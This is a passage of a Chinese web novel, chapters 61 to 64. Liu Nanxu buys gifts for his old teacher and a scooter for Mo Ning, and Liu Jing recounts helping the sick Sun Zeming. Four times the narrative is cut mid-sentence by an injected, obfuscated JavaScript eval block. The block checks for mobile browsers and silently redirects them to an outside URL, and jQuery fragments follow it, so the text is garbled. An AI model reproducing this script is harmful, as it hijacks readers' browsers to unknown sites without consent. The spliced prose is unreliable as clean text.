柳南絮快步找到车子,拉开车门坐在驾驶位上启动,但迟迟没有下一步动作。
车内空调比外面的微风好用,让人很轻松就可以平复好因天气带来的焦灼。
柳南絮低头,目光落在那个面临被淘汰的老物件上。
掉漆的外壳和分辨不清的按键符号透露着它已经被主人使用很长时间了,巨大的提示音和定时播报时间的设定则暗示着主人已经上了年纪。
看着看着,他想起林老师的背影,不由得一阵心酸。
几分钟后,车子终于上路。
多亏现如今发达的科技,帮助柳南絮很快逛遍了附近卖电动车的店。
他从最后一家店出来再回到车上,先给莫宁发了条去接她下班的消息,然后随机挑选一家手机店进入。
手机店内装潢非常明亮,店员一看来了顾客瞬间打起精神,展示出良好的微笑服务。
“先生您需要什么?”
柳南絮淡淡地回答:“老年机。”
店员带着柳南絮来到一个稍小点的柜台前,说:“这几款不论是外观还是性能,都很适合年纪稍大些的人,价格也相对经济实惠,长辈用着心里也舒服。”
不得不说,这个店员很聪明,能很快明白顾客的需求。
柳南絮最终选定一款老年机和一款平板电脑,颜色都很鲜艳明亮。
距离莫宁下班时间还早,柳南絮决定先回家属楼找林老师。
站在门外,都能听见屋内电视的声音。
敲了敲门,脚步声迅速响起,慌张的动静盖过了电视的声音。
同时响起的,还有林老师大着嗓门儿的询问:“谁啊!”
“林老师,我是柳南絮。”柳南絮听着愈来愈近的脚步声,往后退了一小步,等着门开。
林老师拉开房门,猜到柳南絮的来意,问:“南絮啊!是游戏下载好了吗?”
柳南絮没回话,说:“林老师也不请我进去坐坐。”
“哎呀!这不是好说嘛!”林老师让开身,“来来来。”
林老师至今没有结婚,无儿无女,所以一直是独居。
他又一贯喜欢整理收纳,显得房子整洁中透露着空荡。
屋子内,最引人注意的是一排排书架,上面摆满了书籍,各科各类,又多又杂。
就连沙发的扶手上还放着一本象棋棋谱大全,被翻得皱皱巴巴的。
柳南絮依稀记得,上次进林老师的家是在高考成绩下来之后,当时书架上书籍的种类还没有这么多。
注意到其中有几本挺不错的心理学入门书籍,顺嘴说道:“林老师,这几本书确实不错。”
林老师相当宝贝他的这一屋子书,用他的话来说,书就是灵魂的写实化,只要有人,就不能没有书。
得到柳南絮的认可,小老头本就愉快的心情又上升一个度,说:“是吧!我看了之后也这样觉得。”
趁着林老师心情好,柳南絮在布艺沙发上坐下,打开一直提在手里的袋子,介绍道:“林老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290386|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师,是这样的,我给你买了个手机,你看看,好用不好用。”
“给我买手机干什么?大热天的你这小子真是够闲的。”林老师骂完反应过来了,“你实话和我说,我的手机是不是不能下载游戏?”
柳南絮把新买的老年机递过去,实话实说:“是。”
下一秒,林老师在沙发上一连换了几个姿势都觉得不舒服,说:“你这孩子也是,不能下载就不能下载呗!你这多花钱啊!”
“那你要不要?”柳南絮故意说,“你要是不要,我带回家被我爸妈瞧见说不定还会挨一顿数落。”
林老师用抢夺的样子接过了老年机,反驳道:“胡说,整栋家属楼里,再找不到比小许和小柳脾气还好的家长了,有这样的父母,你这孩子应该偷着乐,大半夜睡觉都要笑醒才对。”
这确实是,柳南絮不知道庆幸过多少次,能拥有这么一个和谐美满的家庭。
林老师拿到手机便开始低头摆弄,很快他就发现,新手机和老手机没什么差别,巨大的音量,大差不差的功能。
“南絮,这和我的手机有什么区别?我的手机不能下载游戏的话,难道这个真的可以吗?你该不会被骗了吧?”
“所以我又给你买了一个平板,我保证这个可以下载游戏。”柳南絮把另一个袋子里面的东西掏出来递到林老师的腿上。
眼看林老师下一秒就要跳起来怒斥自己是个败家子,柳南絮及时提醒道:“要是摔坏了店家不赔不退不换不修。”
最后的几个“不”字,逼得林老师愣是压着自己的情绪没跳起来。
打开盒子,林老师浑浊的眼珠闪烁出惊喜,脸上每一道褶子都透露着开心。
虽是如此,嘴上还是没好气地问:“多少钱?”
问完又生怕柳南絮再次诓骗自己,提醒道:“你别瞧我上了年纪,遇到事我心里门清,这肯定不会便宜。”
“确实不便宜,但是端午节有活动,今天是假期最后一天,活动优惠力度特别大,所以价格还行。”
一长串,除了前面五个字是实话,后面全是扯谎。
好在,林老师信了。
由于喜欢看书,林老师接收新事物的速度很快,不用柳南絮花费太多口舌重复介绍,几乎只说一遍就可以弄明白。
游戏下载的过程,柳南絮把林老师的旧手机还给他,说:“我没提前和你说,所以没动手机卡,需要我帮你弄吗?”
“我看看。”林老师接过旧手机摆弄起来,在联系人里面看了好半天,最后收起笑,“南絮,要不你领我去再办张手机卡吧!这个手机我打算就这样放着。”
每一个被留存保护的老旧物件都会代表着什么。
这是独属于林老师的年岁回忆,柳南絮没有追问,更没有迟疑。
带着林老师办好新手机号刚出手机店,莫宁就打来电话。
“喂!柳南絮,我下班了。”
柳南絮冲林老师抱歉地笑了一下,对莫宁说:“好,我知道了,稍等一下。”
61. 第六十一章
这通电话把林老师听得直咧嘴笑,柳南絮一看便知道他误会了,挂断电话想要解释,还没说话就得到了林老师的背影。
柳南絮追上去,说:“林老师,我送你回去。”
“不用,我认得路,你去办你的事儿吧!别让人小姑娘等着急了,但路上也要注意安全。”林老师挥挥手,乐乐呵呵地往家属楼走。
这个时间太阳还半挂在远方,好在有点微风,不怎么热。
柳南絮清楚林老师是不会接受自己的好意,只好开车去找莫宁,免得那位等着急。
“跃燃”培训机构内,田玉英提着扫帚从一间舞蹈室出来,见学生都走了莫宁也不急着走,立刻想到什么,站在莫宁身边学着她的样子望向车来车往的马路。
片刻,莫宁在心里初步怀疑田玉英是在无声地打趣自己,主动开口:“老板,你干什么呢?”
“等人啊!”田玉英笑着把问题原封不动地抛回去,“你干什么呢?”
莫宁只知道田玉英已经结了婚,但还没见过对方,见老板脸上的笑容那么大,当即认为她是在等爱人来接,根本没空回答问题,说:“那我可以看看长什么样吗?我挺好奇的。”
“那就要看来接你的人的速度了。”
田玉英完全不正面回答,说完还冲莫宁眨了眨眼,更是直接把神秘值拉满。
莫宁再看向门外的时候,心里的期待翻了一倍。
三分钟后,柳南絮赶到。
田玉英见到人,立马站直。
柳南絮推门进来,先看了一眼莫宁,再看向田玉英,礼貌地打招呼道:“老板你好,我来接莫宁下班。”
田玉英上上下下把人打量了一番,越看越满意,最后一拍手,在两道齐刷刷的目光注视下说:“可以可以,上次只是远远看了一眼,不得不说,帅哥必须凑近了看,快把人领走吧!”
莫宁目光变得很嫌弃,道:“老板,不是我说,你现在这样真的很像个媒婆。”
“那我也是最漂亮、最有眼光的媒婆。”田玉英冲莫宁翻了个白眼,毫不计较地傲娇赶人,“郎才女貌,相配得很,带着我的祝福离开我的地盘,约会去吧!”
莫宁一心想见见来接田玉英的人,连她的话都没空反驳,说:“我想再等等,我还没见到接你的人呢。”
田玉英叹了口气,苦口婆心劝:“小姑娘别想了,他没办法来。”
什么叫没办法来?
莫宁不明白,追问:“为什么?他工作很忙吗?”
田玉英的眼神落寞了一瞬,很快又变成嘻嘻哈哈的样子,不否认、不认同,更不解释,满脸都写着“保密”两个字。
柳南絮把手机举到莫宁眼前,善意提醒道:“再磨蹭会儿天就要黑了。”
一看时间,确实不早了,要在正常情况下,她这个时候都已经下班到家了。
心里即便有点不甘心,莫宁还是踏出了店门,并很快不再纠结,坐在副驾驶位上放空脑袋打哈欠。
等绿灯的时候,看着发着红光不断跳动的数字,莫宁可算想起来,问道:“对了,你来找我干什么?是有新线索了吗?”
柳南絮瞅了她一眼,说:“我还以为你不打算问。”
“犯困,刚想起来问。”像是在配合自己说的话一样,莫宁还真又打了一个哈欠。
柳南絮不怎么相信,莫宁刚才在“跃燃”培训机构可是生龙活虎,半点困意都没有。
但不相信归不相信,他还是温馨提醒:“就你这样上车容易犯困的体质,少随便坐陌生人的车。”
莫宁脸颊抵着安全带闭目养神,反驳道:“你又不是陌生人,再说了,也就你在身边我才犯困,正常情况下我精神很足的。”
合着还是我的问题了。
第一次听到这种说法,柳南絮有些哭笑不得。
“那你先睡,到了我喊你。”
莫宁迷迷糊糊地应道:“好,辛苦了。”
上前方的红灯就快要结束,柳南絮趁着最后一秒匆匆瞥了莫宁一眼。
小姑娘说睡就睡,还真是不客气。
绿灯跳转,车辆启动。
本来柳南絮想的是带莫宁多转几家店,给她足够的挑选空间,但现在情况有变,就分析出相对最合适的一家,带人直接过去。
门店的位置有些偏僻,要不是有导航,光靠自己找,柳南絮还真不一定会发现这家店。
但也有好处,往这边来的车辆很少,越走越顺畅。
把车在停车位上停稳,柳南絮喊人,说:“莫宁,到了。”
莫宁睡觉做了个梦,还是噩梦,以至于醒来后大脑没能及时连上线。
只见她先是左右瞅了瞅,发现视线内全都是庄稼地,还有一条不知道要通往哪里的笔直小路,浑身激灵了一下才看向柳南絮。
柳南絮解开安全带,拔掉车钥匙,眼看要拉开车门下车,被莫宁一把拽住衣服。
拽着的人只是拽着,没有下文。
柳南絮这个被拽着的人只好问:“做什么梦了?”
“没法说。”莫宁很简短地总结了一下噩梦,认真又谨慎地问出自己的顾虑,“你接我下班是要卖了我?”
“你想什么呢?现在是法治社会,我带你来买电动车。”柳南絮无论如何也没想到会是以这样的方式把目的告诉莫宁。
莫宁简直要把“不信”两个字贯彻到底,问:“店呢?”
“你往后看。”
由于那边停车位占满了,柳南絮便往前开了开,好找停车位停车。
柳南絮简直服了,之前怎么没看出来莫宁还有“傻白甜”的潜力?
莫宁扭头往后看,然后不困了,清醒了,荒唐的想法烟消云散,头扭回来再看向柳南絮只剩下尬笑。
“那什么,要是我说刚才那一趴是我在还原梦里面的场景你信吗?”
柳南絮调整好姿势,看向莫宁,故意逗她道:“我信,从现在开始你说什么我都信,并且很好奇接下来会发生什么,把你卖了,然后呢?”
莫宁心想:其实不用什么都信的。
“不带你这样玩的,你要说不信,再悄悄忘掉刚才的事情,然后带我去买电动车。”
管她说什么,柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301059|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南絮统统听不进去,还在追问:“所以你到底梦到了什么?噩梦?”
瞧瞧这熟悉的架势,和自己一门心思想看老板的爱人一个样子。
莫宁瞬间体会到了田玉英的感受,并且打心眼里也想要有一个人出现打断这场对话。
柳南絮还在耐心地等着莫宁回答,面上带有浅淡的笑,但眼神还是一如既往的平淡。
对上视线的第一秒,莫宁就明白了,他在不开心。
她不知道柳南絮为什么不开心,只知道现在必须说点什么。
“不是噩梦。”
莫宁反驳了柳南絮的话,但对方还是一副等着听下文的样子。
“我说羊村遇袭,奥特曼出现拯救羊村,在灰太狼的古堡没能找到小羊,只发现了被架在火上即将变成烧烤的派大星,结果最后把刷碗的海绵当成海绵宝宝送回了蟹堡王,你信吗?”
能扯出这样离谱的一大串,真是辛苦自己了。
莫宁看不出柳南絮服不服,但她本人挺佩服自己的。
“刚才说了你说什么都信。”柳南絮错开目光,转身下车的同时飞快地重复了一遍,“我信。”
他这松口听着怎么感觉那么不像回事?
莫宁忍不住要抓狂,柳南絮怎么这么难哄啊!
抓狂完忍不住吐槽自己,还这么年轻,大脑反应怎么越来越慢了?坐个车,犯困打哈欠也就罢了,怎么还真睡着了?
“死亡校车”还没有查明,谜团一时未解,戒备心一时不能丢!
戒备!戒备!时时刻刻保持戒备心,不管在谁面前都是!
莫宁在心里默念完,做了个深呼吸,变成嬉皮笑脸的样子去找站在路边等自己跟上的柳南絮。
现在天边已经找不到太阳的身影,只有一小部分夕阳还撑着在岗位上照明,但作用不大。
来的这家门店不大也不小,属于适中的程度,主要是里面没有窗户,也没有开灯,一眼望去黑漆漆的。
店门口摆着一张躺椅,店老板目前躺在上面悠闲自得地刷手机,声音外放开到了最大。
柳南絮下午来的时候老板在上面睡觉,鼾声震天响,他用正常音量怎么也喊不醒,想着算了,正要去下一家的时候老板娘回来了。
老板娘先是指着老板对柳南絮吐槽了一句:“他就这样,等下就醒了。”
话音落下,老板娘就一脚踹到老板的腿上。
疼是疼了点,人醒的确实很快。
柳南絮再来老板还记得他,收起手机麻利地起身待客。
“小伙子,来了,这是你女朋友吧!你们可真是般配啊!”
现在再听到这种话,柳南絮和莫宁都懒得解释了。
老板趿拉着拖鞋往屋内走,走到角落停下,大着啤酒肚,踮起脚尖费力又熟练地拉好电闸。
灯光一盏接一盏地亮起,老板解释说:“这里地理位置不好,开店一天到晚没什么生意,关灯省些电费,二位多多见谅哈!”
莫宁觉得没什么,笑着说:“理解,理解。”
柳南絮面色平淡,没给老板任何回应。
62. 第六十二章
老板心里清楚谁是真正的买家,给莫宁耐心地介绍了几款性价比高的电动车,尤其是其中一款热卖款。
他说的那些莫宁都没听进去,在老板期待的注视下指向一辆明黄色的电动车,对柳南絮说:“我喜欢这个。”
“可以。”柳南絮没有一句多余的废话,直接付钱提车。
老板开店这么多年真没见过如此行云流水的操作,突然遇到一个有点目瞪口呆,在把配件和单子开好递给柳南絮之后,低声问道:“小兄弟,请教一下,现在小姑娘买东西主要看什么?”
柳南絮接过袋子一边低头检查,一边说:“看颜值,不过也分人。”
老板自动忽视后面那半句话,确认地追问:“意思是好看就买?”
东西很齐全,柳南絮抬起头对老板点点头。
老板转身望向一屋子电动车,像是做生意三十多年,头一次得到高人指点开悟了似的。
柳南絮没理他,抬脚走到店门外,很快找到在店门口的空地上瞎转悠着试新车的莫宁。
找到了,目光便没再离开。
老板在店内独自领悟完又找出来,问柳南絮道:“那小兄弟呢?就好比你,怎么心甘情愿付钱买单的?”
“看值不值,看是不是真的想买。”回答的时候,柳南絮的目光始终稳稳当当落在莫宁身上。
老板点点头,自顾自地解读:“也就是说,看的是性价比。”
解读完,老板重新进到店内。
天边最后一抹夕阳实在撑不住,以肉眼可见的速度消散。
彻底消失之前,不舍般眷顾了莫宁。
莫宁不知道自己身后披着残阳,抬头对上柳南絮的视线,冲他笑得无比灿烂。
柳南絮不得不承认,他生出一种想让时间就此停滞的荒唐想法。
这个想法是那样可笑,可笑程度丝毫不亚于莫宁胡编乱造出来的梦。
刚才的光景在眨眼之后归于平静……
天黑了……
做梦的人醒了,醒着的人要做梦了。
莫宁得到新电动车实在太开心,拒绝坐柳南絮的副驾驶座,表示要自己骑车回去。
柳南絮任由着她,开车慢慢悠悠地跟在后面。
进“镇东村”后,莫宁放慢骑车速度骑在前面,柳南絮加快步子走在后面。
到了家门口,莫宁没有着急进去,等柳南絮过来咧着嘴对他说:“我都把这事儿给忘了,还以为你是气氛烘托到位,随口一说开个玩笑,没想到是真送。”
柳南絮冷着脸问:“怎么感觉我在你心里的形象一直都特别不好?”
“哪儿有。”三个字说得莫宁有点心虚,“就算有,那也是之前,现在你在我心里的形象简直无人能及,除了我妈。”
“因为电动车?”柳南絮问完就算莫宁已经默认,紧接着说,“莫宁,出门在外要注意安全,别谁给的东西都要。”
这话说的愣是让人从平淡的语气中听出寒意来。
莫宁不明所以,说:“我又不是谁送的东西都要,你真当我是半岁大的孩子什么都拎不清吗?”
柳南絮说话语气顿时软下去,向莫宁道歉:“我只是想提醒你一下,抱歉,怪我语气不好。”
莫宁只是点了点头。
气氛变得有点微妙,两人像是都有话想说,又像是都在等对方说。
最后谁也没说,沉默不言地各回各家。
家属楼前的空地上,晚饭后的人比白天的人还要多。
下棋的人专门扯了灯,每次灯泡一亮起,立刻就有飞虫凑上前,嗡嗡得旁人心烦,独独吵不到下棋的人似的。
有人在树底下打太极,有人在健身器材处扎堆聊天。
总之每一幕都是人间烟火。
柳南絮将热闹屏蔽在耳外,低头一门心思赶路,就连落在他脚边的月光都要比落在旁人脚边的月光冷清上三分。
接到许静的电话时柳南絮已经站在了门外,但他还是滑向“接通”。
想来还真是有意思,母子俩隔着一扇门打电话。
“喂!儿子,你出去怎么也不和我说一声啊?回不回来吃饭?”
许静被中午的几道菜激起了斗志,决定在厨艺界闯出一番天地来。
柳南絮出门前她一门心思全都放在搜索菜谱,研究做法上,不但没听到儿子说的话,甚至没注意到人是什么时候出门的。
由于柳洪兵下班回来就开始给许静打下手做饭,以至于这对恩恩爱爱的夫妻一时间没能注意到家里少了人,甚至还都觉得没有任何问题。
等到了该吃饭的时候,菜都端上桌了,没能找到柳南絮,二人才终于反应过来儿子不在家。
柳南絮不知道其中缘由,说:“回,快到了。”
“好!”许静细心叮嘱道,“路上注意安全!”
说话语气透露着许静的心情很不错,柳南絮估摸是因为对今天的晚饭很满意。
许静刚把手机放下,门就被推开了。
她见到儿子甚至有点惊喜,问:“我刚挂断电话你就回来了,跑回来的?”
柳洪兵反应快些,乐着说:“什么跑回来的,你和儿子刚才在隔着门打电话,难怪我觉得声音有点大。”
在饭桌上,柳南絮的伪装能力一如既往得好,平淡的情绪、平淡的眉眼、平淡的夸赞,父母这样亲近的人都没发现他的不对劲。
忙完需要忙的事,到了睡觉的时间。
柳南絮躺在床上,不明白之前在莫宁家门前自己的情绪为什么会那么复杂,但要说莫名其妙又称不上。
明明说不出个缘由,还是感觉并不突兀。
可是当明白那些复杂的情绪没有一个合适的关系为依托的时候,心里只剩下一阵失落。
失落啊!
柳南絮翻了个身,他已经记不清自己有多久没有产生过这种情绪了。
简直折磨人。
在同一个月亮的照射下,深受折磨的不止柳南絮一个人。
莫宁这边的情况也不算妙。
不过她不是在纠结和柳南絮分别前不愉快的对话,而是被做的梦吓醒了。
房间内黑灯瞎火的,闹钟走动的声响被衬托得覆盖上一层“诡异”的纱衣。
莫宁伸手哆哆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314497|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗦嗦地摸向自己的后脖颈,想到梦境,她不由得屏住呼吸。
滴答、滴答、滴答……
不知道第多少下后,莫宁憋不住气了,蜷缩起来开始大口大口地呼吸。
当痛苦和恐惧上升到极点,人也就慢慢开始变得冷静。
莫宁踢开被子,伸手开灯,亮光打下来的同时,她看到了闹钟上面的时间。
午夜时分。
还真是吓人。
莫宁又躺了回去,闭上眼睛按压太阳穴,自言自语道:“两个梦竟然接到一起了。”
按压完太阳穴,她把胳膊搭在眼睛上挡光,不知不觉,再次睡着了。
这一觉睡到天光放亮,而且没有再做梦。
莫宁悠悠醒来见灯亮着,当即清醒,捂着心口把灯关掉,直呼:“太浪费了,太浪费了,电费真的伤不起。”
心疼的同时,还要抓紧时间,毕竟工资也真的伤不起。
这天早上,莫宁迎风骑着崭新的电动车,深刻地理解了“成年人的崩溃都是没有声音的”这句话。
简直太形象了。
一天假期结束,柳南絮起了个大早迎接新的一天。
他已经想开了,与其内耗纠结,不如多读书、多看报。
这个周三,按照约定好的时间,柳南絮再次见到孙万谦。
值得提一下的是,对方这次来是踩点来的,说话也不那么着急了,只是整个人看起来特别没精神。
不过生活嘛!总是处处有意外的。
往好的地方想,这个意外它就是惊喜;往坏的地方想,这个意外它就是惊吓。
眼下就是意外来临,到了抉择的环节。
柳南絮见到孙万谦的同时,再次见到了那名陌生乘客。
他不认为这是惊吓,更不认为这是惊喜,内心完全不感兴趣,注意力全都在自己的来访者孙万谦身上。
相比起柳南絮,刘景倒是很熟络地同人家打招呼。
“则鸣陪父亲来的?”
“嗯!”孙则鸣笑着挥挥手,“到现在还是觉得前天实在太感谢您了,您可真是我的救命恩人。”
“帮个小忙而已,你太客气了,先坐下休息吧!”刘景看了看时间,然后看向柳南絮和孙万谦。
柳南絮会意,说:“我和孙先生先上去了。”
咨询室的房门一关上,除了两个当事人,再没有人知道里面是什么情况。
刘景在一楼的沙发上同孙则鸣聊了不到五分钟,被赵安梦打到前台的一通电话给叫到二楼忙工作去了,只能在上楼前匆匆交代李乐好好招待客人。
孙则鸣的脸长得很乖,衣品打扮、言语动作都很得体,一笑还会露出不怎么明显的酒窝,性格不难看出,属于阳光开朗型的。
这样的大男孩,单从外貌上看几乎不会有姑娘讨厌。
李乐早就想凑上去和他聊天了,奈何刘景在,这两天就要转正了,她不想出任何差错,只能缩着脑袋藏在前台后面,眼不见为净。
可是,眼睛看不见人,不妨碍耳朵能听见说话的声音啊!
他的声音也好好听!嘿嘿嘿!
63. 第六十三章
孙则鸣在刘景同李乐说话的时候视线就扫到了她身上,之后一直没移开,笑盈盈地看着李乐。
李乐慢慢走到孙则鸣面前坐下,姿态要多矜持就有多矜持。
孙则鸣笑着让李乐放轻松,反倒让面前的人心跳得更加快,不过好在交流有了个开头。
李姑娘在心里犯花痴,想:看看这长相、听听这声音,连手指都这么好看,行为举止还隐约透露着涵养,上天到底给他关了哪一扇窗户?
即便如此,由于李乐平日里看到的帅哥没有五位数,也有四位数,很快便能正常一点和孙则鸣聊天。
两人相谈甚欢,尤其是李乐。
直到孙则鸣看见自己的父亲做完咨询,与柳南絮一前一后地从二楼下来,他几乎是被沙发弹起来的,迅速迎到两人面前。
李乐连正说着的话都没有说完,聊天对象就已经挪了位置。
遭到忽视的李乐有些尴尬地闭上嘴,重新回到属于自己的工作岗位上。
随便交谈了几句,柳南絮站在原地目送孙万谦和孙则鸣回家,再和往常一样转身上二楼的时候,余光不经意看到低着头的李乐,于是目光很短暂地在她身上停留了一瞬。
但只有一瞬,很快一楼便只剩下李乐一个人。
李乐手里还在不停地摆弄新到手的一张名片,只是姿势从低着头改为趴在了桌子上。
名片白底黑字,四个角是圆弧状,内容设计方面采用了大量的留白,除去必要的信息外,右下角印着一朵凋谢了的菊花。
名片自然不是孙则鸣主动给的,而是李乐厚着脸皮要来的。
在聊天的过程中,李姑娘提出想要交换联系方式,孙则鸣听到后脸上的笑意更浓,表情牵动着脸颊上的酒窝都深了一点,随后掏出口袋内的名片盒,从里面抽出一张交给她。
李乐直起身来,看看名片上“姓名”二字后面紧跟着的“孙则鸣”三个字,再看看那朵搭配着白底简单勾勒出来凋谢了的菊花。
视线兜转,她终于凭借直觉得出结论:孙则鸣这个人,肯定不会像他表面那样开心。
这个结论一出,李乐对孙则鸣的兴趣骤然大减,“拯救某个人走出人生低谷”什么的,她向来不感兴趣。
就算是帅哥也不行。
名片就这样被现在的主人随手丢在了桌面上,任其被遗忘在某一个角落。
手里面空了,李乐站起身伸了个懒腰,给自己打气道:“错过这一个帅哥,还会有更多的帅哥在等着自己,减少救世主的心态,才能保持心情健康愉悦!”
李乐这个人向来如此,心动得快,遗忘得更快,再坐下就开始研究中午吃什么了。
到正午下班,楼上的三个人依次下来拿外卖,一楼才有点热闹。
赵安梦和李乐聊得挺开心,话题多到仿佛永远都聊不完。
柳南絮一如既往插不上她们的话题,拿了外卖便往楼上走。
刘景见状也跟上。
柳南絮不会看不出来刘学长是什么意思,走到刘景办公室门前站定不继续往前走了。
刘景推开门进去,柳南絮跟上,两人面对面坐下,刘景没客气,先打开外卖往嘴里巴拉了一口饭消消饥饿感。
今天上午他实在太忙,到现在都还有工作没完成,想着下午的工作量也不会少,原本已经不打算吃午饭了,但估计柳南絮有话想说,不单单是前天专门找来结果临时有急事,没能说成的话,所以才把人叫过来,趁吃饭的时间让他抓紧机会说。
比起前天想问的问题,柳南絮现在确实有了更想问的。
两人谁都知道时间紧迫,柳南絮也没再磨叽,开门见山地问道:“前天究竟发生了什么?你怎么会变成孙则鸣的救命恩人?又怎么知道孙万谦还有一个女儿?”
“孙则鸣的事是因为前天我送他去了医院,知道孙万谦还有一个女儿是因为我看过他的手机锁屏壁纸,无意间看到的。”
又吃了一口饭,胃好受很多,刘景把饭盒放下,减慢吃饭速度,继续往下说。
前天,刘景赶到村口的时候才反应过来不知道具体位置,柳南絮开车开得实在太快,这会儿也不知道他人在哪儿。
他停车的时候正巧下雨,雨水不断地砸在车窗上。
因为担心柳南絮那边的情况万一不适合接电话,所以就没打。
下了车,刘景撑着伞独自进村瞎找。
村子一点也不热闹,有点什么紧急情况还真不好办。
他谨慎地在村子里搜寻着,地上的泥土溅脏了他的皮鞋和西装裤腿,不懂事的冷风将雨丝带斜,从而避开雨伞的防御攀附到刘景的身上。
逛遍了大半个村子都没能找到人,刘景估摸柳南絮和莫宁已经解决好离开了,便想打个电话问一下,不料突然被人从后面抓住了胳膊。
对方的力道很重,刘景当即停下打电话的动作,戒备地等待对方接下来的动作。
透过层层雨帘,对方虚弱的求救声断断续续传来。
“救命,我发烧了,头晕的厉害,拜托你送我到附近的医院。”
男子的话刚说完,像是验证自己说的话似的往刘景身上栽,就连原本抓着刘景的手也完全卸掉了力气,缓缓地垂落下去。
刘景没想到还能遇到这样一出戏码,冲着男子喊了几声,得到的只是很模糊的求救。
好人好事撞到自己身上也没办法,刘景丢了伞,背起男子走出村子,开车带人去医院。
赶往医院的路上,刘景看了几眼男子,只觉得有点眼熟,可又实在想不起来在哪里见过。
抵达医院后刘景又要照看着人输液,还好男子抵抗力强,针扎上没多久便慢慢恢复清醒。
人一清醒,张嘴就开始喊饿,刘景拿他没办法,秉承着“好人做到底”去给男子买了粥。
男子喝完粥,恢复点精神,报了名字,又不断道谢。
“医药费是多少?还有粥钱,我还给你。”
孙则鸣说着,把口袋里面的东西全都掏出来,手机和几张纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323711|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
票。
刘景看着泡了水变得皱巴巴的钱说:“不用了,没多少钱。”
孙则鸣挺有脾气,非要还钱,不还钱居然还不让刘景走。
实在没办法,刘景只好让孙则鸣看了医药费的消费记录。
接过对方递过来的钱,刘景以为这样他就可以走了,刚要道别,孙则鸣又提出请求。
“恩人,你可不可以让我用用你的手机?我想打个电话,”说着掏出自己泡了水的手机,“我的手机上飞机前没电关机了。”
因为孙则鸣,刘景也淋了雨,衣服贴在后背上的感觉让他十分不舒服,只想尽快把小插曲处理完离开,一点没迟疑的把手机解锁后递给他。
趁着孙则鸣拨号,刘景插话纠正他的称呼,道:“你不用喊我‘恩人’,我姓刘。”
知道了姓氏,孙则鸣很高兴,边等待电话被接通,边说:“好的刘先生。”
刘景听着这个称呼,总算不那么别扭。
好在,电话这次顺利打通了。
电话那边的人得到消息后嗓门儿顿时变得很大,孙则鸣只好先收起要说的话,改为安抚对方的情绪。
刘景在旁边听得都累了,干脆抢过电话说:“先生你好!你的儿子在市医院,麻烦尽快过来。”
电话那边的人隔了大概两秒才说话,试探性地问:“请问是刘老师吗?”
刘景还是没能听出对方是谁,便问:“请问你是?”
这回对面的人倒是回答得很快,道:“我是孙万谦。”
随后,又在电话那边补充了一句:“不知道你对我有印象没有。”
孙万谦并不是刘景的来访者,二人接触的时间也不多,所以刘景一时片刻没能根据声音想起他,但还是认得的。
“哦!孙先生啊!当然记得。”刘景很快把话题扭正,“孙先生,麻烦你尽快过来。”
客套完,孙万谦再次变成急急忙忙的样子,着急忙慌地挂断电话往这边赶。
孙则鸣也没想到自己的父亲能和救命恩人认识,又强撑着精神和刘景聊天。
刘景见他这个样子,更没办法直接先离开。
孙则鸣就算生着病话也很多,嘴一张一合闲不下来。
“刘先生,实在多亏了你,我刚回国,赶飞机太着急,忘了看手机电量,登机前手机没电关机了,要不是兜里揣着现金,坐车回家都是个难题,在公交车上还犯困险些坐过站。”
刘景看着孙则鸣还泛红的脸,问:“既然到家了,怎么生病也没人知道?家里没人吗?”
“我只能说自己太倒霉了,在公交车上犯困险些坐过站不说,好不容易赶到家了,大门又是锁着的,等半天才借到个手机给我爸打电话还没人接,偏偏又赶上下雨。”
大概是太倒霉,孙则鸣说着说着对自己今天的运气都有些无奈。
“要不是你路过,我真就晕在家门口了。”
原来前面还有那么多事,刘景顺着往下接了一句:“确实挺危险。”
64. 第六十四章
“对了,”孙则鸣想到什么,“我是画国画的,都说救命之恩无以为报,想送您幅画,但是我的手机关机又跟着我淋了雨,也不知道还能不能用了,您带有名片吗?有的话方便给个联系方式吗?”
